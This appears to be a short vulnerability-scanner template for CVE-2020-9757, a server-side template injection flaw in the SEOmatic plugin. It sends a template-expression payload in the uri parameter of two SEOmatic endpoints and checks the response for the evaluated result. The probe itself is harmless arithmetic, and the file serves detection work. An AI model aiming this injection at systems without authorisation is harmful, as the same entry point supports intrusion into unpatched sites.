id: CVE-2020-9757
info:
  name: SEOmatic SSTI
  risk: High

params:
  - root: '{{.BaseURL}}'
  
variables:
  - endpoint: |
      actions/seomatic/meta-container/meta-link-container/
      actions/seomatic/meta-container/all-meta-containers/
requests: 
  - method: GET
    url: >-
      {{.root}}/{{.endpoint}}?uri={{228*'98'}}
    headers:
      - User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3984.0 Safari/537.36
    detections:
      - >-
        StatusCode() == 200 && StringSearch("resBody", "MetaLinkContainer") && StringSearch("resBody", "canonical") && StringSearch("resBody", "22344")

references:
  - https://www.cvebase.com/cve/2020/9757